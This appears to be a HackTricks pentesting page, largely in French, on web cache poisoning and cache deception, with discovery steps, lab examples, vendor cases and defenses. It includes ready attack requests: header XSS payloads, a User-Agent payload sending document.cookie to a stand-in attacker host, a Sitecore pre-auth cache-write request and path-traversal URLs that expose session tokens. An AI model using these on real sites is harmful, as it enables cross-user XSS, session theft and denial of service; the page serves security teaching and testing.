Cache Poisoning and Cache Deception

Reading time: 19 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

La différence

Quelle est la différence entre web cache poisoning et web cache deception ?

  • Dans web cache poisoning, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
  • Dans web cache deception, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant Ă  un autre utilisateur dans le cache, puis l'attaquant rĂ©cupĂšre ce contenu depuis le cache.

Cache Poisoning

Le cache poisoning vise à manipuler le cache cÎté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrÎle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, puisque la réponse empoisonnée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.

L'exécution d'une attaque de cache poisoning implique plusieurs étapes :

  1. Identification of Unkeyed Inputs : Ce sont des paramĂštres qui, bien qu'ils ne soient pas requis pour qu'une requĂȘte soit mise en cache, peuvent modifier la rĂ©ponse renvoyĂ©e par le serveur. Identifier ces inputs est crucial car ils peuvent ĂȘtre exploitĂ©s pour manipuler le cache.
  2. Exploitation of the Unkeyed Inputs : AprÚs avoir identifié les unkeyed inputs, l'étape suivante consiste à comprendre comment détourner ces paramÚtres pour modifier la réponse du serveur d'une maniÚre avantageuse pour l'attaquant.
  3. Ensuring the Poisoned Response is Cached : La derniÚre étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse corrompue.

DĂ©couverte : VĂ©rifier les en-tĂȘtes HTTP

GĂ©nĂ©ralement, lorsqu'une rĂ©ponse a Ă©tĂ© stockĂ©e dans le cache, il y aura un en-tĂȘte l'indiquant ; vous pouvez vĂ©rifier quels en-tĂȘtes mĂ©ritent votre attention dans ce post : HTTP Cache headers.

Découverte : Mise en cache des codes d'erreur

Si vous pensez que la rĂ©ponse est stockĂ©e dans un cache, vous pouvez essayer d'envoyer des requĂȘtes avec un en-tĂȘte invalide, qui devrait rĂ©pondre avec un code de statut 400. Ensuite, essayez d'accĂ©der Ă  la requĂȘte normalement et si la rĂ©ponse est un code 400, vous savez que c'est vulnĂ©rable (et vous pourriez mĂȘme effectuer un DoS).

Vous pouvez trouver plus d'options dans :

Cache Poisoning to DoS

Cependant, notez que parfois ces types de codes de statut ne sont pas mis en cache, donc ce test peut ne pas ĂȘtre fiable.

Découverte : Identifier et évaluer les unkeyed inputs

Vous pouvez utiliser Param Miner pour brute-forcer les paramĂštres et en-tĂȘtes qui peuvent modifier la rĂ©ponse de la page. Par exemple, une page peut utiliser l'en-tĂȘte X-Forwarded-For pour indiquer au client de charger le script depuis lĂ  :

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Provoquer une réponse malveillante du serveur back-end

Une fois le paramĂštre/header identifiĂ©, vĂ©rifiez comment il est assaini et oĂč il est reflĂ©tĂ© ou comment il affecte la rĂ©ponse. Pouvez-vous l'exploiter malgrĂ© tout (rĂ©aliser un XSS ou charger du code JS que vous contrĂŽlez ? effectuer un DoS ?...)

Mettre la réponse en cache

Une fois que vous avez identifiĂ© la page qui peut ĂȘtre exploitĂ©e, quel paramĂštre/header utiliser et comment l'abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps ; vous devrez peut‑ĂȘtre rĂ©essayer pendant plusieurs secondes.

L'en-tĂȘte X-Cache dans la rĂ©ponse peut ĂȘtre trĂšs utile car il peut prendre la valeur miss lorsque la requĂȘte n'a pas Ă©tĂ© mise en cache et la valeur hit lorsqu'elle l'est.
L'en-tĂȘte Cache-Control est Ă©galement intĂ©ressant pour savoir si une ressource est mise en cache et quand elle sera mise en cache Ă  nouveau : Cache-Control: public, max-age=1800

Un autre en-tĂȘte intĂ©ressant est Vary. Cet en-tĂȘte est souvent utilisĂ© pour indiquer des en-tĂȘtes supplĂ©mentaires qui sont traitĂ©s comme faisant partie de la clĂ© de cache mĂȘme s'ils ne sont normalement pas pris en compte. Par consĂ©quent, si l'attaquant connaĂźt le User-Agent de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent spĂ©cifique.

Un autre en-tĂȘte liĂ© au cache est Age. Il dĂ©finit le temps en secondes pendant lequel l'objet est restĂ© dans le cache du proxy.

Lors de la mise en cache d'une requĂȘte, faites attention aux en-tĂȘtes que vous utilisez car certains d'entre eux pourraient ĂȘtre utilisĂ©s de maniĂšre inattendue comme clĂ©s, et la victime devra utiliser ce mĂȘme en-tĂȘte. Testez toujours un Cache Poisoning avec diffĂ©rents navigateurs pour vĂ©rifier que cela fonctionne.

Exploiting Examples

Easiest example

Un en-tĂȘte comme X-Forwarded-For est reflĂ©tĂ© dans la rĂ©ponse sans ĂȘtre assaini.
Vous pouvez envoyer un payload XSS basique et empoisonner le cache de sorte que toute personne accédant à la page soit victime d'un XSS :

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Notez que cela empoisonnera une requĂȘte vers /en?region=uk et non vers /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup il est expliqué le scénario simple suivant :

  • Le CDN mettra en cache tout sous /share/
  • Le CDN NE dĂ©codera PAS ni ne normalisera %2F..%2F, par consĂ©quent, il peut ĂȘtre utilisĂ© comme path traversal pour accĂ©der Ă  d'autres emplacements sensibles qui seront mis en cache comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Le serveur web DÉCODERA et normalisera %2F..%2F, et rĂ©pondra avec /api/auth/session, qui contains the auth token.

Cookies peuvent Ă©galement ĂȘtre reflĂ©tĂ©s dans la rĂ©ponse d'une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez ĂȘtre capable d'exploiter XSS sur plusieurs clients qui chargent la rĂ©ponse de cache malveillante.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Notez que si le cookie vulnĂ©rable est trĂšs utilisĂ© par les utilisateurs, des requĂȘtes rĂ©guliĂšres videront le cache.

Générer des divergences avec des délimiteurs, la normalisation et les points

Consultez :

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains comment il a Ă©tĂ© possible de voler une OpenAI API key avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond Ă  /share/* sera mis en cache sans que Cloudflare normalise l'URL, ce qui Ă©tait fait lorsque la requĂȘte atteignait le serveur web.

Ceci est aussi mieux expliqué dans :

Cache Poisoning via URL discrepancies

Utiliser plusieurs headers pour exploiter web cache poisoning vulnerabilities

Parfois, vous devrez exploiter plusieurs entrĂ©es non utilisĂ©es comme clĂ© pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un Open redirect si vous dĂ©finissez X-Forwarded-Host sur un domaine contrĂŽlĂ© par vous et X-Forwarded-Scheme sur http. Si le serveur redirige toutes les requĂȘtes HTTP vers HTTPS et utilise l'en-tĂȘte X-Forwarded-Scheme comme nom de domaine pour la redirection, vous pouvez contrĂŽler la destination de la redirection.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiter avec un Vary header limité

Si vous constatez que l'en-tĂȘte X-Host est utilisĂ© comme nom de domaine pour charger une ressource JS mais que l'en-tĂȘte Vary dans la rĂ©ponse indique User-Agent, vous devez trouver un moyen d'exfiltrate le User-Agent de la victime et de poison the cache en utilisant ce User-Agent :

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envoyez une requĂȘte GET avec la requĂȘte dans l'URL et dans le body. Si le web server utilise celle du body mais que le cache server met en cache celle de l'URL, toute personne accĂ©dant Ă  cette URL utilisera en fait le parameter du body. Comme la vuln que James Kettle a trouvĂ©e sur le site Github :

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Il existe un lab PortSwigger Ă  ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Par exemple, il est possible de séparer les parameters sur des serveurs ruby en utilisant le caractÚre ; au lieu de &. Cela peut permettre de placer des valeurs de parameters sans clé à l'intérieur de parameters avec clé et de les exploiter.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Apprenez ici comment effectuer Cache Poisoning attacks by abusing HTTP Request Smuggling.

Tests automatisés pour Web Cache Poisoning

Le Web Cache Vulnerability Scanner peut ĂȘtre utilisĂ© pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques diffĂ©rentes et est hautement personnalisable.

Exemple d'utilisation : wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Ce pattern observé en conditions réelles enchaßne une primitive de reflection basée sur les headers avec le comportement du CDN/WAF pour empoisonner de maniÚre fiable le HTML mis en cache et servi à d'autres utilisateurs :

  • Le HTML principal reflĂ©tait un header de requĂȘte non fiable (p.ex., User-Agent) dans un contexte exĂ©cutable.
  • Le CDN supprimait les headers de cache mais il existait un cache interne/origin. Le CDN mettait aussi automatiquement en cache les requĂȘtes se terminant par des extensions statiques (p.ex., .js), tandis que le WAF appliquait une inspection de contenu moins stricte aux GETs pour les assets statiques.
  • Des particularitĂ©s du flux de requĂȘtes permettaient Ă  une requĂȘte vers un chemin .js d'influencer la clĂ©/variante de cache utilisĂ©e pour le HTML principal suivant, permettant un XSS cross-user via la reflection de header.

Recette pratique (observée sur un CDN/WAF populaire) :

  1. Depuis une IP propre (éviter les dégradations basées sur la réputation antérieure), définissez un malicious User-Agent via le navigateur ou Burp Proxy Match & Replace.
  2. Dans Burp Repeater, prĂ©parez un groupe de deux requĂȘtes et utilisez "Send group in parallel" (le mode single-packet fonctionne le mieux) :
  • PremiĂšre requĂȘte : GET d'une ressource .js sur le mĂȘme origin en envoyant votre malicious User-Agent.
  • ImmĂ©diatement aprĂšs : GET de la page principale (/).
  1. La course de routage CDN/WAF plus le .js auto-cachĂ© amorcent souvent une variante de HTML mise en cache empoisonnĂ©e qui est ensuite servie Ă  d'autres visiteurs partageant les mĂȘmes conditions de clĂ© de cache (p.ex., mĂȘmes dimensions Vary comme User-Agent).

Exemple de payload d'en-tĂȘte (pour exfiltrer des cookies non-HttpOnly) :

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Beaucoup de CDNs masquent les en-tĂȘtes de cache ; le poisoning peut n'apparaĂźtre que sur des cycles de rafraĂźchissement de plusieurs heures. Utilisez plusieurs adresses IP depuis des points d'observation et limitez le dĂ©bit pour Ă©viter les dĂ©clencheurs de limitation de dĂ©bit ou de rĂ©putation.
  • Utiliser une IP issue du cloud du CDN amĂ©liore parfois la cohĂ©rence du routage.
  • Si une CSP stricte est prĂ©sente, cela fonctionne toujours si la rĂ©flexion s'exĂ©cute dans le contexte HTML principal et que la CSP autorise l'exĂ©cution inline ou est contournĂ©e par le contexte.

Impact:

  • Si les cookies de session ne sont pas HttpOnly, un ATO zero-click est possible en mass-exfiltrating document.cookie depuis tous les utilisateurs servis par le poisoned HTML.

Defenses:

  • Cessez de reflĂ©ter les en-tĂȘtes de requĂȘte dans le HTML ; encodez strictement selon le contexte si inĂ©vitable. Alignez les politiques de cache du CDN et de l'origin et Ă©vitez de varier selon des en-tĂȘtes non fiables.
  • Assurez-vous que le WAF applique l'inspection de contenu de maniĂšre cohĂ©rente aux requĂȘtes .js et aux chemins statiques.
  • DĂ©finissez HttpOnly (et Secure, SameSite) sur les cookies de session.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>
payload
</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Ceci écrit du HTML arbitraire sous une clé de cache choisie par l'attaquant, permettant un poisoning précis une fois les clés de cache connues.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Exemples vulnérables

Apache Traffic Server (CVE-2021-27577)

ATS a transmis le fragment prĂ©sent dans l'URL sans le supprimer et a gĂ©nĂ©rĂ© la clĂ© de cache en utilisant uniquement l'hĂŽte, le path et la query (ignorant le fragment). Ainsi, la requĂȘte /#/../?r=javascript:alert(1) a Ă©tĂ© envoyĂ©e au backend comme /#/../?r=javascript:alert(1) et la clĂ© de cache ne contenait pas la payload, seulement l'hĂŽte, le path et la query.

GitHub CP-DoS

Envoyer une mauvaise valeur dans l'en-tĂȘte content-type a dĂ©clenchĂ© une rĂ©ponse 405 mise en cache. La clĂ© de cache contenait le cookie, donc il Ă©tait possible d'attaquer uniquement des utilisateurs non authentifiĂ©s.

GitLab + GCP CP-DoS

GitLab utilise des buckets GCP pour stocker du contenu statique. GCP Buckets supportent l'en-tĂȘte x-http-method-override. Il Ă©tait donc possible d'envoyer l'en-tĂȘte x-http-method-override: HEAD et de poison the cache afin de renvoyer un corps de rĂ©ponse vide. Il pouvait aussi supporter la mĂ©thode PURGE.

Rack Middleware (Ruby on Rails)

Dans les applications Ruby on Rails, le middleware Rack est souvent utilisĂ©. Le rĂŽle du code Rack est de prendre la valeur de l'en-tĂȘte x-forwarded-scheme et de la dĂ©finir comme scheme de la requĂȘte. Lorsque l'en-tĂȘte x-forwarded-scheme: http est envoyĂ©, une redirection 301 vers la mĂȘme location se produit, pouvant provoquer un Denial of Service (DoS) sur cette ressource. De plus, l'application peut prendre en compte l'en-tĂȘte X-forwarded-host et rediriger les utilisateurs vers l'hĂŽte spĂ©cifiĂ©. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d'un attaquant, crĂ©ant un risque de sĂ©curitĂ©.

403 and Storage Buckets

Cloudflare mettait auparavant en cache les rĂ©ponses 403. Tenter d'accĂ©der Ă  S3 ou Azure Storage Blobs avec des en-tĂȘtes Authorization incorrects renvoyait une rĂ©ponse 403 qui Ă©tait mise en cache. Bien que Cloudflare ait cessĂ© de mettre en cache les rĂ©ponses 403, ce comportement peut encore ĂȘtre prĂ©sent dans d'autres services de proxy.

Injecting Keyed Parameters

Les caches incluent souvent des paramĂštres GET spĂ©cifiques dans la clĂ© de cache. Par exemple, le Varnish de Fastly mettait en cache le paramĂštre size dans les requĂȘtes. Toutefois, si une version encodĂ©e en URL du paramĂštre (par ex. siz%65) Ă©tait aussi envoyĂ©e avec une valeur erronĂ©e, la clĂ© de cache serait construite en utilisant le paramĂštre size correct. Pourtant, le backend traiterait la valeur dans le paramĂštre encodĂ©. L'encodage URL du second paramĂštre size conduisait Ă  son omission par le cache mais Ă  son utilisation par le backend. Attribuer la valeur 0 Ă  ce paramĂštre rĂ©sultait en une erreur 400 Bad Request susceptible d'ĂȘtre mise en cache.

User Agent Rules

Certains dĂ©veloppeurs bloquent les requĂȘtes dont les user-agents correspondent Ă  ceux d'outils Ă  fort trafic comme FFUF ou Nuclei pour gĂ©rer la charge serveur. Ironiquement, cette approche peut introduire des vulnĂ©rabilitĂ©s telles que cache poisoning et DoS.

Illegal Header Fields

Le RFC7230 spĂ©cifie les caractĂšres acceptables dans les noms d'en-tĂȘtes. Les en-tĂȘtes contenant des caractĂšres en dehors de la plage tchar devraient idĂ©alement dĂ©clencher une rĂ©ponse 400 Bad Request. En pratique, les serveurs n'adhĂšrent pas toujours Ă  cette norme. Un exemple notable est Akamai, qui transfĂšre des en-tĂȘtes avec des caractĂšres invalides et met en cache toute erreur 400, tant que l'en-tĂȘte cache-control n'est pas prĂ©sent. Un schĂ©ma exploitable a Ă©tĂ© identifiĂ© oĂč l'envoi d'un en-tĂȘte contenant un caractĂšre illĂ©gal, comme \, entraĂźnait une erreur 400 Bad Request mise en cache.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

L'objectif de Cache Deception est de faire en sorte que les clients chargent des ressources qui vont ĂȘtre enregistrĂ©es par le cache avec leurs informations sensibles.

Tout d'abord, notez que les extensions telles que .css, .js, .png etc. sont gĂ©nĂ©ralement configurĂ©es pour ĂȘtre enregistrĂ©es dans le cache. Par consĂ©quent, si vous accĂ©dez Ă  www.example.com/profile.php/nonexistent.js le cache stockera probablement la rĂ©ponse car il voit l'extension .js. Mais, si l'application renvoie le contenu utilisateur sensible stockĂ© dans www.example.com/profile.php, vous pouvez voler ces contenus d'autres utilisateurs.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.

Apprenez ici comment effectuer Cache Deceptions attacks abusing HTTP Request Smuggling.

Outils automatiques

  • toxicache: Golang scanner pour trouver des vulnĂ©rabilitĂ©s de web cache poisoning dans une liste d'URLs et tester plusieurs techniques d'injection.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks